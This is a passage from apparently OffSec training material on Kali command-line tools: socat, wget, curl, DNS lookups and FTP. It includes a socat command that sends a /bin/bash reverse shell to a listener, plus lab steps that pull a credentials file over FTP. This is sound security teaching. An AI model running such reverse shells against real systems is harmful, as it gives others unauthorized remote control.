connection is established. In this case, Alice will send a /bin/bash
reverse shell (with EXEC:/bin/bash) to Bob's listening socket on
10.11.0.22:443:
kali@kali:~$ socat TCP4:10.11.0.22:443 EXEC:/bin/bash
Listing 88 - Using socat to send a reverse shell
Once connected, Bob can enter commands from his socat session, which
will execute on Alice's machine.
... socat[4388] N accepting connection from AF=2 10.11.0.4:54720 on 10.11.0.22:443
... socat[4388] N using stdout for reading and writing
... socat[4388] N starting data transfer loop with FDs [4,4] and [1,1]
whoami
kali
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
Listing 89 - socat output from a
connected reverse shell
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 150 minutes to complete.
Wget[408] is a very helpful utility for downloading files from a
web server. Let's enter wget in the Linux terminal to display its
usage.
kali@kali:~$ wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.
Listing 90 - wget usage
To better understand how to use wget, let's download the syllabus
for the course after this (PEN-200). The PDF is located at
https://www.offsec.com/documentation/penetration-testing-with-kali.pdf.
In the Linux Terminal, we'll enter wget
https://www.offsec.com/documentation/penetration-testing-with-kali.pdf.
kali@kali:~$ wget https://www.offsec.com/documentation/penetration-testing-with-kali.pdf
--2021-06-30 06:27:55-- https://www.offsec.com/documentation/penetration-testing-with-kali.pdf
Resolving www.offsec.com (www.offsec.com)... 192.124.249.5
Connecting to www.offsec.com (www.offsec.com)|192.124.249.5|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 676301 (660K) [application/pdf]
Saving to: ‘penetration-testing-with-kali.pdf’
penetration-testing-with-kali.pdf 100%[============================================================================================================================>] 660.45K 743KB/s in 0.9s
2021-06-30 06:27:56 (743 KB/s) - ‘penetration-testing-with-kali.pdf’ saved [676301/676301]
kali@kali:~$ ls
Desktop Documents Downloads Music penetration-testing-with-kali.pdf Pictures Public Templates Videos
Listing 91 - Downloading the PEN-200 syllabus with wget
As displayed above, the file penetration-testing-with-kali.pdf
is in the current working directory. This can be opened by running
xdg-open, as demonstrated in the screenshot below:
Next, we will cover is how to rename the downloaded file. This can be
done using the -O option (a capital 'o'). The lowercase 'o' option
will log the messages displayed on the terminal to the file specified.
Let's examine the two options, starting with -O.
kali@kali:~$ wget https://www.offsec.com/documentation/penetration-testing-with-kali.pdf -O PEN-200-Syllabus.pdf
--2021-06-30 06:59:31-- https://www.offsec.com/documentation/penetration-testing-with-kali.pdf
Resolving www.offsec.com (www.offsec.com)... 192.124.249.5
Connecting to www.offsec.com (www.offsec.com)|192.124.249.5|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 676301 (660K) [application/pdf]
Saving to: ‘PEN-200-Syllabus.pdf’
PEN-200-Syllabus.pdf 100%[============================================================================================================================>] 660.45K 2.31MB/s in 0.3s
2021-06-30 06:59:32 (2.31 MB/s) - ‘PEN-200-Syllabus.pdf’ saved [676301/676301]
kali@kali:~$ ls
Desktop Documents Downloads Music PEN-200-Syllabus.pdf penetration-testing-with-kali.pdf Pictures Public Templates Videos
kali@kali:~$ file PEN-200-Syllabus.pdf
PEN-200-Syllabus.pdf: PDF document, version 1.5
Listing 92 - wget rename
The file downloaded is saved with the name we specified via the -O
option. Next, let's execute the wget command using the -o
option to save the log to a file.
kali@kali:~$ wget https://www.offsec.com/documentation/penetration-testing-with-kali.pdf -o log
kali@kali:~$ file log
log: UTF-8 Unicode text
kali@kali:~$ cat log
--2021-06-30 07:02:17-- https://www.offsec.com/documentation/penetration-testing-with-kali.pdf
Resolving www.offsec.com (www.offsec.com)... 192.124.249.5
Connecting to www.offsec.com (www.offsec.com)|192.124.249.5|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 676301 (660K) [application/pdf]
Saving to: ‘penetration-testing-with-kali.pdf.1’
0K .......... .......... .......... .......... .......... 7% 842K 1s
50K .......... .......... .......... .......... .......... 15% 966K 1s
100K .......... .......... .......... .......... .......... 22% 168M 0s
150K .......... .......... .......... .......... .......... 30% 3.04M 0s
200K .......... .......... .......... .......... .......... 37% 2.55M 0s
250K .......... .......... .......... .......... .......... 45% 1.13M 0s
300K .......... .......... .......... .......... .......... 52% 3.04M 0s
350K .......... .......... .......... .......... .......... 60% 1.53M 0s
400K .......... .......... .......... .......... .......... 68% 1.62M 0s
450K .......... .......... .......... .......... .......... 75% 891K 0s
500K .......... .......... .......... .......... .......... 83% 4.03M 0s
550K .......... .......... .......... .......... .......... 90% 3.01M 0s
600K .......... .......... .......... .......... .......... 98% 1.50M 0s
650K .......... 100% 7.17M=0.4s
2021-06-30 07:02:17 (1.67 MB/s) - ‘penetration-testing-with-kali.pdf.1’ saved [676301/676301]
Listing 93 - The log of the wget command is saved to a file with the -o option
Let's wrap up our wget introduction by examining the --recursive
option. This is extremely useful when we want to rebuild a website or
copy an entire website to our host.
We must be careful when using this option, as some websites contain
a lot of data and will fill up our hard drive. In the following
example, Let's execute wget with the --recursive option on
https://www.kali.org/. After giving it a bit of time to
demonstrate the website copy, we can stop the website copy by pressing
C+c.
kali@kali:~$ wget --recursive https://www.kali.org/
--2021-07-01 11:42:15-- https://www.kali.org/
Resolving www.kali.org (www.kali.org)... 35.185.44.232
Connecting to www.kali.org (www.kali.org)|35.185.44.232|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35937 (35K) [text/html]
Saving to: ‘www.kali.org/index.html’
www.kali.org/index.html 100%[============================================================================================================================>] 35.09K --.-KB/s in 0.09s
2021-07-01 11:42:15 (381 KB/s) - ‘www.kali.org/index.html’ saved [35937/35937]
Loading robots.txt; please ignore errors.
--2021-07-01 11:42:15-- https://www.kali.org/robots.txt
Reusing existing connection to www.kali.org:443.
HTTP request sent, awaiting response... 200 OK
Length: 103 [text/plain]
Saving to: ‘www.kali.org/robots.txt’
www.kali.org/robots.txt 100%[============================================================================================================================>] 103 --.-KB/s in 0s
2021-07-01 11:42:15 (224 MB/s) - ‘www.kali.org/robots.txt’ saved [103/103]
...
Listing 94 - wget to download a website
When this process is completed, the website can be searched within the
current directory. Let's list the downloaded content in the terminal.
kali@kali:~$ ls
Desktop Documents Downloads Music PEN-200-Syllabus.pdf Pictures Public Templates Videos www.kali.org
kali@kali:~$ ls www.kali.org
about-us community css downloads get-kali images index.min.css kali-nethunter partnerships-sponsorships releases rss.xml sitemap.xml
blog contact docs features get-kali.min.js index.html index.min.js newsletter plugins robots.txt script.min.js style.min.css
Listing 95 - Listing the downloaded website
Wget neatly organizes the downloaded content in the same structure as
the website. This can be a useful activity for a security professional
to search an entire website for items like cleartext credentials,
databases, uncontrolled directories, etc.
Another client we can use to copy files from servers is cURL,[409]
which stands for "Client URL." curl is extremely powerful because it
offers an incredible amount of options that can be used to manipulate
the request to the server.
Before exploring the various options, let's review basic curl
usage. The files previously downloaded with wget were removed before
these exercises.
kali@kali:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos
kali@kali:~$ curl https://www.offsec.com/documentation/penetration-testing-with-kali.pdf
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
Listing 96 - curl on a PDF without output
In the output above, curl did not display the file results because we
attempted to download a PDF, which is a binary file. By default, curl
does not display binary files.
Let's follow the advice from the warning message and add the output
option -o with a name for the file.
kali@kali:~$ curl https://www.offsec.com/documentation/penetration-testing-with-kali.pdf -o PEN-200-Syllabus.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 660k 100 660k 0 0 436k 0 0:00:01 0:00:01 --:--:-- 435k
kali@kali:~$ file PEN-200-Syllabus.pdf
PEN-200-Syllabus.pdf: PDF document, version 1.5
Listing 97 - curl on a PDF with output
After making these changes, this file was downloaded and can then be
verified as a PDF using the file command.
Let's examine curl's basic use on a webpage instead of a binary file.
kali@kali:~$ curl https://kali.org/
<!doctype html><html lang=en-us><head itemscope itemtype=https://www.kali.org/><meta charset=utf-8><meta name=viewport content="width=device-width"><title itemprop=name>Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution</title><meta itemprop=name content="Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution"><meta name=application-name content="Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution"><meta name=twitter:title content="Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution"><meta property="og:site_name" content="Kali Linux"><meta property="og:title" content="Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution"><meta itemprop=description content="Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments."><meta name=description content="Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments."><meta name=twitter:description content="Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments."><meta property="og:description" content="Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments."><meta name=keywords content="kali,linux,kalilinux,Penetration,Testing,Penetration Testing,Distribution,Advanced"><meta name=apple-mobile-web-app-status-bar-style content="black-translucent"><meta name=msapplication-navbutton-color content="#367BF0"><meta name=theme-color content="#367BF0"><meta name=language content="English"><meta property="og:locale" content="en_US"><meta itemprop=image content="https://www.kali.org//images/kali-logo.svg"><meta name=twitter:image content="https://www.kali.org//images/kali-logo.svg"><meta name=twitter:image:src content="https://www.kali.org//images/kali-logo.svg"><meta property="og:image" content="https://www.kali.org//images/kali-logo.svg"><meta property="og:updated_time" content="2021-06-29T00:00:00Z"><meta name=twitter:site content="@kalilinux"><meta name=twitter:creator content="@kalilinux"><link rel="alternate icon" class=js-site-favicon type=image/png href=https://www.kali.org/images/favicon.png><link rel=icon class=js-site-favicon type=image/svg+xml href=https://www.kali.org/images/favicon.svg><base href=https://www.kali.org/><link rel=canonical href=https://www.kali.org/ itemprop=url><meta name=twitter:url content="https://www.kali.org/"><meta name=url content="https://www.kali.org/"><meta property="og:url" content="https://www.kali.org/"><link rel=sitemap type=application/xml title=Sitemap href=https://www.kali.org/sitemap.xml><link href=https://www.kali.org/rss.xml type=application/rss+xml title="Kali Linux" rel=alternate><link href=https://www.kali.org/rss.xml type=application/rss+xml title="Kali Linux" rel=feed><link href=https://www.kali.org/style.min.css rel=stylesheet><style>:root{--primary-color:#367BF0;--body-color:#f9f9f9;--text-color:#636363;--text-color-dark:#242738;--white-color:#ffffff;--light-color:#f8f9fa;--font-family:Noto Sans}body.dark-theme{--body-color:black;--text-color:#e1e1e1;--text-color-dark:white;--white-color:#121212;--light-color:#1A1A1A}</style><script>const $=document.querySelector.bind(document),$$=document.querySelectorAll.bind(document)</script></head><body><header class=bg-cover><nav class=container><a id=logo href=https://www.kali.org/ style=background-image:url(https://www.kali.org//images/kali-logo.svg)></a><ul id=navigation><li><a href=/get-kali/>Get Kali</a></li><li><a href=/blog/>Blog</a></li><li class=dropdown-menu><span>Documentation <i class=ti-angle-down></i></span><div><a href=/docs/>Kali Linux Documentation</a>
<a href=https://tools.kali.org/>Kali Tools Documentation</a>
...
Listing 98 - A basic execution of curl on https://www.kali.org/
The webpage contents are displayed on the terminal screen after our
basic curl execution. Let's now analyze another site example that
will display a warning message with the same curl syntax.
kali@kali:~$ curl https://www.offsec.com/
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
Listing 99 - curl of https://www.offsec.com/
Let's observe why the same error may be occurring by analyzing the
HTTP Headers using the -I option.
kali@kali:~$ curl https://www.offsec.com/ -I
HTTP/2 200
server: nginx
date: Wed, 30 Jun 2021 17:57:02 GMT
content-type: text/html; charset=UTF-8
content-length: 14859
x-sucuri-id: 11005
x-xss-protection: 1; mode=block
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
strict-transport-security: max-age=31536000; includeSubdomains; preload
content-security-policy: upgrade-insecure-requests;
link: <https://www.offsec.com/>; rel=shortlink
vary: Accept-Encoding,User-Agent
content-encoding: gzip
x-sucuri-cache: HIT
Listing 100 - curl only the headers
The warning is still showing the page as binary due to to the
content-encoding header from the web server. We'll note that the
encoding is 'gzip.' This means the page is sending a compressed
zip file as the delivery method to the browser, which registers as
a binary. When presented with these types of errors, referring to
the manpage[410] or Googling the error message can be
incredibly useful. We can overcome this error by using the option
--compressed. Web headers and the way websites work will be further
covered in the "Web" section of this course. Let's execute the curl
command again with the appropriate option for this site.
kali@kali:~$ curl https://www.offsec.com/ --compressed
<!doctype html>
<html class="no-js" lang="en-US">
<head> <script type="text/javascript">if(!gform){document.addEventListener("gform_main_scripts_loaded",function(){gform.scriptsLoaded=!0}),window.addEventListener("DOMContentLoaded",function(){gform.domLoaded=!0});var gform={domLoaded:!1,scriptsLoaded:!1,initializeOnLoaded:function(o){gform.domLoaded&&gform.scriptsLoaded?o():!gform.domLoaded&&gform.scriptsLoaded?window.addEventListener("DOMContentLoaded",o):document.addEventListener("gform_main_scripts_loaded",o)},hooks:{action:{},filter:{}},addAction:function(o,n,r,t){gform.addHook("action",o,n,r,t)},addFilter:function(o,n,r,t){gform.addHook("filter",o,n,r,t)},doAction:function(o){gform.doHook("action",o,arguments)},applyFilters:function(o){return gform.doHook("filter",o,arguments)},removeAction:function(o,n){gform.removeHook("action",o,n)},removeFilter:function(o,n,r){gform.removeHook("filter",o,n,r)},addHook:function(o,n,r,t,i){null==gform.hooks[o][n]&&(gform.hooks[o][n]=[]);var e=gform.hooks[o][n];null==i&&(i=n+"_"+e.length),null==t&&(t=10),gform.hooks[o][n].push({tag:i,callable:r,priority:t})},doHook:function(o,n,r){if(r=Array.prototype.slice.call(r,1),null!=gform.hooks[o][n]){var t,i=gform.hooks[o][n];i.sort(function(o,n){return o.priority-n.priority});for(var e=0;e<i.length;e++)"function"!=typeof(t=i[e].callable)&&(t=window[t]),"action"==o?t.apply(null,r):r[0]=t.apply(null,r)}if("filter"==o)return r[0]},removeHook:function(o,n,r,t){if(null!=gform.hooks[o][n])for(var i=gform.hooks[o][n],e=i.length-1;0<=e;e--)null!=t&&t!=i[e].tag||null!=r&&r!=i[e].priority||i.splice(e,1)}}}</script>
...
Listing 101 - curl https://www.offsec.com/ --compressed
We'll also have to deal with erroneous output in many lab settings, as
we encounter web certificates. To suppress these errors and continue,
the -k option can be used. Outside of labs, it is not recommended to
use this option unless we trust the web server. Let's use our exercise
host to exhibit the error and overcome it.
kali@kali:~$ curl https://192.168.65.61/
curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html
curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.
Listing 102 - SSL error in curl
When we add the -k option, the SSL error will be ignored and the
page can be retrieved.
kali@kali:~$ curl -k https://192.168.65.61/
WELCOME!
Listing 103 - SSL error ignored by curl
Curl can also leverage a proxy before pulling the content from a web
page by using the -x option. The syntax for this is as follows:
curl -x [protocol://]host[:port] URL
Listing 104 - curl proxy syntax
On the exercise host, a proxy service is running. This proxy allows a
connection to a website at http://172.16.54.20/.
Let's attempt a curl request for that web URL.
kali@kali:~$ curl http://172.16.54.20/
^C
Listing 105 - The curl request hangs
The curl attempt ended up hanging, and we needed to kill the
connection attempt with C+c. Let's try to request
the same webpage using the exercise host's proxy service on port
3128 with the -x option.
kali@kali:~$ curl -x http://192.168.65.61:3128/ http://172.16.54.20/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
The following was written shortly after my arrest...
\/\The Conscience of a Hacker/\/
by
+++The Mentor+++
...
Listing 106 - The curl to the webpage worked when using a proxy
Using the proxy service on the exercise host returned the webpage
located at http://172.16.54.20/.
With the skills learned in this section, we can pull web pages, files,
and sites all from the command line. We can also utilize proxies in
web communication.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
The Domain Name System (DNS)[387-1] is a distributed database
responsible for translating user-friendly domain names into IP
addresses, and one of the most critical systems on the internet.
Understanding DNS, how it functions, and how to work with it are
all important skills for identifying issues and troubleshooting a
networked device associated with a human-readable name.
DNS is facilitated by a hierarchical structure that is divided into
several zones, starting with the top-level root zone. Let's take a
closer analysis of the process and servers involved in resolving a
hostname like www.megacorpone.com.
The process of resolving a hostname starts when the hostname is
entered into a browser or other application. The browser passes it to
the operating system's DNS client, then the operating system forwards
the request to the external DNS server it is configured to use.
This first server in the chain is known as the DNS recursor and is
responsible for interacting with the DNS infrastructure and returning
the results to the DNS client. The DNS recursor contacts one of the
servers in the DNS root zone. The root server then responds with the
address of the server responsible for the zone containing the Top
Level Domain (TLD),[389-1] in this case, the .com TLD.
Once the DNS recursor receives the address of the TLD DNS server, it
queries it for the address of the authoritative nameserver for the
megacorpone.com domain. The authoritative nameserver is the final
step in the DNS lookup process and contains the DNS records in a
local database known as the zone file. It typically hosts two zones
for each domain: the forward lookup zone used to find the IP address
of a specific hostname, and the reverse lookup zone (if configured
by the administrator) that is used to find the hostname of a specific
IP address. Once the DNS recursor provides the DNS client with the
IP address for www.megacorpone.com, the browser can contact the
correct web server at its IP address and load the webpage.
To improve the performance and reliability of DNS, DNS caching is used
to store local copies of DNS records at various stages of the lookup
process. This is why some modern applications, such as web browsers,
keep a separate DNS cache. The local DNS client of the operating
system also maintains its own DNS cache, along with each of the DNS
servers in the lookup process. Domain owners can also control how
long a server or client caches a DNS record via its the Time To Live
(TTL) field.
Each domain can use different types of DNS records. Some of the most
common types of DNS records include:
Due to the wealth of information contained within DNS, it is often a
lucrative target for active information gathering.
To demonstrate this, let's use the host[411] command to find the
IP address of www.megacorpone.com.
IPs change from time to time, so individual results may be
different than the examples demonstrated.
kali@kali:~$ host www.megacorpone.com
www.megacorpone.com has address 38.100.193.76
Listing 107 - Using host to find the A host record for
www.megacorpone.com
By default, the host command searches for an A record, but we can
also query other fields, such as MX or TXT records, by using the
-t option to specify the type of record we are searching for:
kali@kali:~$ host -t mx megacorpone.com
megacorpone.com mail is handled by 10 fb.mail.gandi.net.
megacorpone.com mail is handled by 50 mail.megacorpone.com.
megacorpone.com mail is handled by 60 mail2.megacorpone.com.
megacorpone.com mail is handled by 20 spool.mail.gandi.net.
kali@kali:~$ host -t txt megacorpone.com
megacorpone.com descriptive text "Try Harder"
Listing 108 - Using host to find the MX and TXT records for
megacorpone.com
The listing above displays the MX records and TXT records after each
command execution for megacorpone.com.
Moving beyond the host command, we can use nslookup[412]
and dig[413] to identify the IP addresses of hosts by their
human-readable names. nslookup and dig are very similar tools.
Let's start with the basic use of nslookup.
kali@kali:~$ nslookup kali.org
Server: 192.168.1.1
Address: 192.168.1.1#53
Non-authoritative answer:
Name: kali.org
Address: 35.185.44.232
Listing 109 - The nslookup output of Kali.org
The above output shows that kali.org has the IP
address 35.185.44.232. We can do more things using
nslookup,[414] but for now, let's move on to dig.
dig operates similarly to nslookup, and its basic use is the
same.
kali@kali:~$ dig kali.org
; <<>> DiG 9.16.15-Debian <<>> kali.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34693
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1280
;; QUESTION SECTION:
;kali.org. IN A
;; ANSWER SECTION:
kali.org. 300 IN A 35.185.44.232
;; Query time: 108 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Fri Jul 09 04:29:53 MST 2021
;; MSG SIZE rcvd: 53
Listing 110 - The dig output of Kali.org
As shown above, the host IP for kali.org is 35.185.44.232.
We'll notice that the default search record for both nslookup and
dig is the A record. This can be changed by specifying the type
in the command line. In dig, we can do this using the -t
(type) option. Let's check what mailservers are being be used for
kali.org.
kali@kali:~$ dig -t mx kali.org
; <<>> DiG 9.16.15-Debian <<>> -t mx kali.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5075
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1280
;; QUESTION SECTION:
;kali.org. IN MX
;; ANSWER SECTION:
kali.org. 1800 IN MX 15 alt2.aspmx.l.google.com.
kali.org. 1800 IN MX 10 alt1.aspmx.l.google.com.
kali.org. 1800 IN MX 5 aspmx.l.google.com.
kali.org. 1800 IN MX 20 alt3.aspmx.l.google.com.
kali.org. 1800 IN MX 25 alt4.aspmx.l.google.com.
;; Query time: 56 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Fri Jul 09 04:34:46 MST 2021
;; MSG SIZE rcvd: 155
Listing 111 - The MX records for Kali.org
dig can also specify a DNS server to make the request to by adding
the @ symbol, followed by the name or IP of the DNS server. Let's
examine a request to Google's DNS server to kali.org.
kali@kali:~$ dig @8.8.8.8 kali.org
; <<>> DiG 9.16.15-Debian <<>> @8.8.8.8 kali.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46201
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;kali.org. IN A
;; ANSWER SECTION:
kali.org. 71 IN A 35.185.44.232
;; Query time: 40 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Jul 09 04:47:28 MST 2021
;; MSG SIZE rcvd: 53
Listing 112 - The dig output from Google's DNS server returning the A record of Kali
Now that we better understand how to use host, nslookup, and
dig to search DNS record types, we can identify machines in a
network.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 150 minutes to complete.
FTP[415] (File Transfer Protocol) is one of the oldest protocols
used today. It is a very simple protocol used for file transfers.
FTP can be a treasure trove of data for a penetration tester and/or
information security professional if the FTP server is misconfigured
or the credentials are leaked. In many scenarios, sensitive files in
an FTP server lead to the compromise of a system. FTP servers can also
be used to upload files to a web server directory, which an attacker
can leverage to place malicious files on the server.
In the following demonstrations, we will use a local FTP server. The
setup for this is out-of-scope, as the focus of this section is to
gain familiarity using the FTP client on pre-configured FTP servers.
Before we get started, let's cover two helpful options with the
FTP client. First, -v shows all responses from the FTP server.
This can be useful when debugging connectivity issues. Second, the
-n option prevents auto-login on the FTP server. If auto-login is
enabled, the server will attempt log into the server with the current
user, thus preventing us from specifying a different username and
password.
The easiest way to access an FTP server is through anonymous access.
This is when the user is anonymous and a password is not needed.
Anything can be entered in as the password, and the login will be
accepted. This is one of the most insecure configurations, as it
allows anyone to log into the FTP server. Let's login with anonymous
access.
kali@kali:~$ ftp localhost
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xrwx 2 65534 65534 4096 Jul 09 05:50 pub
226 Directory send OK.
ftp> exit
221 Goodbye.
Listing 113 - Anonymous login to FTP server
The local FTP server was logged into with anonymous access. When the
password prompt was displayed, the I key was pressed without
a password. Currently, we'll observe a pub directory when logging into
the FTP server.
When using the -n option, the initial logging in is a bit different,
since it won't prompt for the username or password. Let's follow this
process to examine the difference.
kali@kali:~$ ftp -nv localhost
Connected to localhost.
220 (vsFTPd 3.0.3)
ftp> ls
530 Please login with USER and PASS.
ftp: bind: Address already in use
ftp>
Listing 114 - The user is not logged into the FTP server
As shown in the listing above, the username and password need to be
entered before access is granted to the server. We need to use the
user command to specify the user and the password prompt will
be displayed for the password. Let's do that now.
kali@kali:~$ ftp -nv localhost
Connected to localhost.
220 (vsFTPd 3.0.3)
ftp> ls
530 Please login with USER and PASS.
ftp: bind: Address already in use
ftp> user anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xrwx 2 65534 65534 4096 Jul 09 05:50 pub
226 Directory send OK.
ftp> exit
221 Goodbye.
Listing 115 - Logging into FTP with -nv option
There's a directory in the anonymous directory on the server. Let's
create a file and upload it to the directory. To do this, we'll change
our current working directory on our Kali host to /var/tmp
and create the file there.
kali@kali:~$ cd /var/tmp
kali@kali:/var/tmp$ ls
systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-colord.service-nZQIAf systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-systemd-logind.service-3v6WKg
systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-haveged.service-WMdLrh systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-upower.service-Bh7DTe
systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-ModemManager.service-V6U3lg
kali@kali:/var/tmp$ echo "This is a file" > upload.txt
kali@kali:/var/tmp$ cat upload.txt
This is a file
kali@kali:/var/tmp$ ls
systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-colord.service-nZQIAf systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-systemd-logind.service-3v6WKg
systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-haveged.service-WMdLrh systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-upower.service-Bh7DTe
systemd-private-7e0fd2ca8df74ba6ab82931917200d6f-ModemManager.service-V6U3lg upload.txt
Listing 116 - The upload.txt file is made in /var/tmp/
With the file created, we can log back into the FTP server and upload
the file using the put command.
kali@kali:/var/tmp$ ftp localhost
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xrwx 2 65534 65534 4096 Jul 09 05:50 pub
226 Directory send OK.
ftp> put upload.txt
local: upload.txt remote: upload.txt
200 EPRT command successful. Consider using EPSV.
553 Could not create file.
ftp>
Listing 117 - The put command failed to upload the file
The file was not uploaded and displayed an error message: 553 Could
not create file.. We'll note that the pub directory permissions
are writable by everyone. Let's go into that directory and attempt the
upload again.
...
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> put upload.txt
local: upload.txt remote: upload.txt
200 EPRT command successful. Consider using EPSV.
150 Ok to send data.
226 Transfer complete
15 bytes sent in 0.00 secs (610.3516 kB/s)
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw------- 1 137 147 15 Jul 09 06:50 upload.txt
226 Directory send OK.
ftp> exit
221 Goodbye.
Listing 118 - The file was uploaded to the FTP server
When we changed to the world-writable directory, pub, we were able
to upload our text file using the put FTP command.
Let's login with a user account to the FTP server. We'll use the
kali user for this.
kali@kali:/var/tmp$ ftp localhost
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): kali
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Jul 09 05:17 Desktop
drwxr-xr-x 6 1001 1001 4096 Jul 09 05:17 Documents
drwxr-xr-x 2 1001 1001 4096 Jul 09 05:17 Downloads
drwxr-xr-x 2 1001 1001 4096 Jul 09 05:17 Music
drwxr-xr-x 2 1001 1001 4096 Jul 09 05:17 Pictures
drwxr-xr-x 2 1001 1001 4096 Jul 09 05:17 Public
drwxr-xr-x 2 1001 1001 4096 Jul 09 05:17 Templates
drwxr-xr-x 2 1001 1001 4096 Jul 09 05:17 Videos
-rw-r--r-- 1 1001 1001 85 Jul 09 06:56 specialcredentials.txt
226 Directory send OK.
ftp>
Listing 119 - Logging into FTP with a user account
We logged into the FTP server with the username and password of
kali:kali. It is important to note that this user account requires the
correct password, unlike the anonymous account, which could use any
or no password.
This login shows a user directory, instead of the pub directory.
There's an interesting file in this directory too. Let's download the
specialcredentials.txt file and analyze its contents. To download
a file from a FTP server, we'll use the get command.
...
ftp> get specialcredentials.txt
local: specialcredentials.txt remote: specialcredentials.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for specialcredentials.txt (85 bytes).
226 Transfer complete.
85 bytes received in 0.00 secs (892.5571 kB/s)
ftp> exit
221 Goodbye.
Listing 120 - The specialcredentials.txt file is downloaded from the FTP server
The FTP service reports a successful transfer of the file to the local
machine. Let's read that file on our Kali host.
kali@kali:/var/tmp$ cat specialcredentials.txt
The password to the root account is "password." Surely, no one will ever guess this!
Listing 121 - The file was successfully transferred to our machine from the FTP server
The file was successfully transferred to our machine from the FTP
server, and we were able to read the contents of the file.
Before concluding our coverage of FTP, let's briefly explore two
subjects: Active vs. Passive FTP[416] and Binary vs.
ASCII modes.[417] Active vs. Passive FTP connections involve
the initial FTP port to the server and the resulting FTP server port
that is used to send traffic back. In both cases, the server port
will be port 21 (in a default configuration). FTP works also in two
channels, the command channel and the data channel.
In Active Mode, the port that is used by the FTP server will be port
20 to send the traffic back to the connecting host. The flow for this
mode is that the host connecting to the FTP server will use a random
port to connect to port 21 of the FTP server on the command channel.
The FTP server will communicate from port 20 to a random port on the
host that connected to it on the data channel.
In Passive Mode, the port that is used by the FTP server will be
a random port. The flow for this mode that is the host connecting to
the FTP server will use a random port to connect to port 21 of the FTP
server on the command channel. The host connecting sends a PASV
command to the FTP server. The FTP server receives the PASV command
and responds by connecting from a random port to a random port to the
connecting host. Depending on how the FTP server is configured, the
network mode on the client may need to be changed.
